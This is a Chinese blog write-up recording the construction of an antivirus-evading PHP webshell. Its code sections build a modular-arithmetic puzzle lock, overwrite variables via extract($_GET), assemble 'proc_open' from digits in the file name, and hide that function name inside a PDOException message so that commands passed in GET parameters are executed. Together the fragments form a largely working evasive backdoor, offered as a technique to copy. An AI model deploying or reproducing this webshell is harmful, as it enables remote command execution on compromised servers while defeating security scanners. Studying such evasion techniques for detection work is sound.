一次webshell绕过记录
需要用到的知识:
1.基于循环群的线性代数方程组解达到分支对抗
2.变量覆盖
3.Linux特性
4.异常类Exception::getMessage
5.自定义函数+字符串混淆
1.程序锁定器
本部分基于线性代数循环群运算构建了一个锁定器,通过接收数组变量,对对象中的四个成员变量进行运算,运算结束后若四个成员变量值相等即解锁。
群,即一系列元素和对元素进行操作的集合,通俗来说就是一个人和其他人之间操作的互相影响,可用数学方式表示。
灵感来源:
https://juejin.cn/post/7325495635457130506#heading-9
假设现存在四个人,记为1号,2号,3号,4号,每人本身拥有一个权值,范围为0-2.
若向1号打招呼,1号和2号权值+1,
若向2号打招呼,1号.2号和3号权值+1,
若向3号打招呼,2号.3号和4号权值+1,
若向4号打招呼,3号和四号权值+1
根据上面描述可以得出一个行为矩阵记为Aj
现假设四个人的初始权值为2.0.0.2,可得到初始向量为
因为这里思路是要求四个成员变量值相等,可取0,1,或者2,这里暂取2
可得结果向量为
整体就是求解一个线性方程组
求得o操作向量
经过计算可得
也可以采用程序进行运算
import numpy as np# 定义模3加法、减法和乘法defmod3_add(a, b):return (a + b) % 3defmod3_subtract(a, b):return (a - b) % 3defmod3_multiply(a, b):return (a * b) % 3# 定义矩阵 A_jA_j = np.array([[1, 1, 0, 0], [1, 1, 1, 0], [0, 1, 1, 1], [0, 0, 1, 1]], dtype=int)defis_solvable(A, b):"""Check if the system Ax = b is solvable.""" Ab = np.hstack([A, b.reshape(-1, 1)]) rank_A = np.linalg.matrix_rank(A) rank_Ab = np.linalg.matrix_rank(Ab)return rank_A == rank_Ab# 随机生成 e 和 s 并检查解的存在性whileTrue: e = np.random.randint(0, 3, size=4, dtype=int) print(e) s = np.random.randint(0, 3, size=4, dtype=int) print(s) b = mod3_subtract(e, s)if is_solvable(A_j, b):break# 将 A_j 和 b 合并为增广矩阵Ab = np.hstack([A_j, b.reshape(-1, 1)])# 高斯-若尔当消元法,适用于模3运算defgaussian_jordan_elimination_mod3(A): n = A.shape[0]for i in range(n): max_row = np.argmax(np.abs(A[i:, i])) + i A[[i, max_row]] = A[[max_row, i]]if A[i, i] == 2: A[i, :] = mod3_multiply(A[i, :], 2)for j in range(n):if i != j: factor = A[j, i] A[j, :] = mod3_subtract(A[j, :], mod3_multiply(factor, A[i, :]))for i in range(n-1, -1, -1):for j in range(i+1, n): A[i, -1] = mod3_subtract(A[i, -1], mod3_multiply(A[i, j], A[j, -1]))return A# 应用高斯-若尔当消元法AbReduced = gaussian_jordan_elimination_mod3(Ab)# 解向量 o 是最后一列o = AbReduced[:, -1]print("解向量 o:", o)
根据高斯消元法可得行为向量o为
循环群思路大致如此。
resetBlockState函数作用就是操作后成员变量的值若超过最大范围,则重置为最小范围值
privatefunctionresetBlockState($block){ $setType = $this-> MIN_ENUM; $maxType = $this -> MAX_ENUM;switch ($block) {case'A':if ($this -> blockA == $maxType) { $this -> blockA = $setType;returntrue; }elsereturnfalse;case'B':if ($this -> blockB == $maxType) { $this -> blockB = $setType;returntrue; }elsereturnfalse;case'C':if ($this-> blockC == $maxType){ $this -> blockC = $setType;returntrue; }elsereturnfalse;case'D':if ($this -> blockD == $maxType) { $this -> blockD = $setType;returntrue; }elsereturnfalse;default: thrownewException("bad_args", 1); } }
updateblock函数作用就是实现了上述四个人打招呼的例子,根据传进来的参数进行操作
privatefunctionupdateBlock($blockIdx){global $text; $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case"A":if (!$this -> resetBlockState("A")) $this -> blockA += 1;if (!$this -> resetBlockState("B")) $this -> blockB += 1;break;case"B":if (!$this -> resetBlockState("A")) $this -> blockA += 1;if (!$this -> resetBlockState("B")) $this -> blockB += 1;if (!$this -> resetBlockState("C")) $this ->blockC += 1;break;case"C":if (!$this -> resetBlockState("B")) $this -> blockB += 1;if (!$this -> resetBlockState("C")) $this -> blockC += 1;if (!$this ->resetBlockState("D"))$this -> blockD += 1;break;case"D":if (!$this -> resetBlockState("C")) $this -> blockC += 1;if (!$this -> resetBlockState("D")) $this -> blockD += 1;break;default: thrownewException("bad_args", 1); } }
solvePuzzle函数就是接收经过打招呼的操作数组并根据操作数组的每个值调用updateblock,最后初始化unlockCode接收四个成员变量的和
publicfunctionsolvePuzzle(){global $solutionSteps;if (count($solutionSteps) === 0) thrownewException("Invalid WriteUP",1);for ($i = 0; $i < count($solutionSteps); $i++) {if (strcmp($solutionSteps[$i],"A") !== 0and strcmp($solutionSteps[$i],"B") !== 0and strcmp($solutionSteps[$i],"C") !== 0and strcmp($solutionSteps[$i],"D") !== 0) die("nnnpc"); }for ($i = 0; $i < count($solutionSteps); $i++) $this -> updateBlock($solutionSteps[$i]); $unlockCode=$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD; }
checkUnlockStatus函数就是检验4个成员变量值是否相等,若相等则程序解锁
publicfunctioncheckUnlockStatus(){if ($this -> blockA ===$this -> blockB and$this -> blockA === $this -> blockC and$this -> blockA === $this -> blockD) returntrue;elsereturnfalse;}
pause函数就是用来调用checkUnlock函数,实现检验是否解锁
publicfunctionpause($command){if ($this->checkUnlockStatus()) {return $command; } else {die("nnnpc"); }}
2.变量覆盖
functiontest(){return extract($_GET);}if (test()){ $command = $_GET['1'];}if ($command) { $solutionSteps = $_GET['solutionSteps']; $PuzzleLocker->solvePuzzle($solutionSteps); $eC = $PuzzleLocker->pause($command);
通过调用extract()函数实现对以GET方式传入的变量进行覆盖
并随后在其中插入前面程序锁定器相关程序,进行分支对抗
3.Linux特性
if ($command) { $solutionSteps = $_GET['solutionSteps']; $PuzzleLocker->solvePuzzle($solutionSteps); $eC = $PuzzleLocker->pause($command);}$descriptors = [0 => ['pipe', 'r'],1 => ['pipe', 'w'],2 => ['pipe', 'w'],];$c = $f->getMessage();$process = $c($eC, $descriptors, $pipes);if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);echo $output;}
这里采取的是用linux系统中的proc_open函数进行命令执行
我原本是直接把proc_open函数写在代码里,但是去测试的时候比如D盾 就会爆出3级或者1级错误,所以引出下面的字符混淆
4.自定义函数+字符串混淆
functionconfusion($a){ $s = ['a', 'p', 'r', 'o', 'c', '_', 'o','e','n']; $tmp = "";while ($a > 10) { $tmp .= $s[$a % 10]; $a = intval($a / 10); }return $tmp . $s[$a];} $num = $_POST['num'];// 使用 __FILE__ 获取文件名 $filename = basename(__FILE__); $number = intval(substr($filename,0,9));
confusion函数比较简单,就是提前把要构造的函数比如这里的proc_open按照字母分别存入数组,然后后面依次取出。这里之所以存了一个无关的a在里面,是因为我在这里采取的是取出字母是根据文件名来取,若需要取的字母放在数组第一个元素即序号为0,不方便进行操作。比如文件名为123.php,取出123,然后调用confusion函数,每次循环都会先取余10,即取出一整串数字的最后一个数字这里取得是3,当作数组序号,取出的就是o字母,然后再把123除10,得12(php中遇见除不尽或者有小数的都直接向下取证)依次循环即可得到proc_open
5.异常类Exception::getMessage
functioncheckNum($number){if($number>1) {thrownewException("变量值必须小于等于 1"); }returntrue;}try{ $num = $_POST['num'];// 使用 __FILE__ 获取文件名 $filename = basename(__FILE__); $number = intval(substr($filename,0,9)); // 从文件名中提取最后15位数字 $f = new PDOException(strrev(confusion($number))); checkNum($num);// 如果抛出异常,以下文本不会输出echo'如果输出该内容,说明 $number 变量小于1';}
常见程序都是一条路走到黑,最多有几个if判断支撑健壮性避免不可处理的错误。这里根据这一思路,故意创造一个异常,在异常中执行程序。
PDOException,是php的一个处理异常的原生类,通过调用该类自带的getMessage方法可以输出异常消息内容即我们要执行的命令内容0
$c = $f->getMessage();$process = $c($eC, $descriptors, $pipes);
构造进行进程执行命令
6.绕过结果
7.执行截图
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论